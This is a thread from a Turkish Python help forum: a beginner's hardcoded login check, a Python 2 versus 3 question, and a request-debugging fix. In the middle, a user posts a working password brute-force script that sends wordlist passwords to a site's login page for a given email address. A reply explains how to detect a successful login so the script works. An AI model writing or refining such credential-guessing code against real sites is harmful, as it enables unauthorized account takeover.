Konuyu Oyla:
  • Toplam: 3 Oy - Ortalama: 3.67
  • 1
  • 2
  • 3
  • 4
  • 5
Python Dili Soru & Cevap
(23-06-2020, Saat: 10:20)lolumsu Nickli Kullanıcıdan Alıntı:  defkullanici = ("toprakbaba12")
defparola = ("1234")

kullanici = input("kullanici adi:")
parola = input("parolaniz:")

if((defkullanici == kullanici) and (defparola == parola)):
    print("sisteme hosgeldin")
elif((defkullanici != kullanici) and (defparola == parola)):
    print("kullanici adiniz yanlis giridiniz")
elif((defkullanici == kullanici) and (defparola != parola)):
    print("parolanizi yanlis girdiniz")
else:
    print("tekrar deneyiniz")


bu kodu yazdim kac kere baktim dogru gozukuyor ama hata veriyor bir bakabilir misiniz?

Bunda herhangi bir hata yok zaten. Fakat şu var, eğer python 2.7 kullanıyosan kullanıcı adı ve parolayı alırken raw_input() kullanmalısın, çünkü py2 de input() sadece integer içindir, string için raw_input kullanmalısın.

Eğer python 3 sürümü kullanıyorsan herhangi bir hata vermemesi gerekir.
Turbobit Premium Link Çeviri | Turbobit Link Generator | http://turbobit.qpython.club
Cevapla
tesekkurler anlamadim ama python 3 kullaniyorum kapatip yeniden acinca oldu tesekkurler Smile
Ara
Cevapla
gecemor
Cevapla
(25-06-2020, Saat: 17:04)HackLord Nickli Kullanıcıdan Alıntı:  gecemor kusura bakmayın.

Kod:
import requests
import os


def BruteForce():

urlx = 'https://www.site.com/login.php'


wordlistx = open('/wordlist.txt', 'r').readlines()

for lines in wordlistx:

password = lines.strip()

RQ = requests.post(urlx, data={'email':'******@gmail.com', 'pass':password, 'submit':'login'})


if 'r.php' not in RQ.content:

print "[+] sifre "+password

break

else:

print "hatali deneme"

BruteForce()

Kodda bir sorun yok deneyince hatasız çalışıyor 

if 'r.php' not in RQ.content:

Bölümde scripti çalıştirinca sitede vericek hataya uygun olarak script şifre denemesini devap ediyor lakin login deneme yanılma yapıldığinda ikici gösterdiyim kodda yanlış olduğu için script düzgün çalışmıyor.


Şimdiden teşekkür ederim.

tam olarak anlayamadım biraz daha açar mısın Smile
Turbobit Premium Link Çeviri | Turbobit Link Generator | http://turbobit.qpython.club
Cevapla
gecemor
Cevapla
İşte onun sabit bir yöntemi yok, siteden siteye değişen bir durum. Siteye normal olarak giriş yaptıktan sonra kaynakta sadece giriş yaptığında görünecek bir objeyi referans alabilirsin. Yani bunu kendin incelemelisin.
Turbobit Premium Link Çeviri | Turbobit Link Generator | http://turbobit.qpython.club
Cevapla
gecemor merhaba 


kod:
[code-sh=python]
Cevapla
(06-07-2020, Saat: 14:07)HackLord Nickli Kullanıcıdan Alıntı:  gecemor merhaba 


kod:
import requests
URL = 'http://site.com/login.php'
payload = {
'email': '...@gmail.com',
'password': '12345678',
'button':'login'
}
session = requests.session()
r = requests.post(URL, data=payload)

if 'Incorrect password' in r.text:
print('Giris Basarili')
else:
print('Giris Basarisiz')

Aldigim hata:
PHP Kod:
λ python2 login.py
Traceback 
(most recent call last):
 
 File "login.py"line 26in <module>
 
   if 'Incorrect password' in URL.text:
AttributeError'str' object has no attribute 'text' 

Sorunun cozumunu bulamadim abi

Duzelltigim gibi olacak r.text
python ve javascript dünyada en çok yazılan iki dil.
c kadar hızlı python kadar syntaxı kolay olan julia da geleceğin dilleri arasında..
Ara
Cevapla
@ahgonlum teşekkür ederim abi.
Cevapla
python 2 mi yoksa 3 mü daha kullanışlı
Ara
Cevapla

{lang: 'en'}


Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  15gb .myd uzantılı dosya python ile okutma perry 1 1,959 27-11-2022, Saat: 17:59
Son Yorum: perry
  GÜNCEL Python request , c# request e göre çok yavaş ne yapabilirim perry 12 5,007 28-09-2022, Saat: 20:27
Son Yorum: krast
  YENİ Python Pyqt5 memory leak sorunu perry 3 2,374 28-09-2022, Saat: 11:33
Son Yorum: gecemor
  YENİ PYTHON ads approval CaglarDevv 2 2,186 04-07-2022, Saat: 01:23
Son Yorum: CaglarDevv
  python konusunda yardıma ihtiyacım var $cr!pt HUB 3 1,634 15-06-2022, Saat: 18:11
Son Yorum: CaglarDevv

Hızlı Menü:


Konuyu Okuyanlar: 26 Ziyaretçi
Change Theme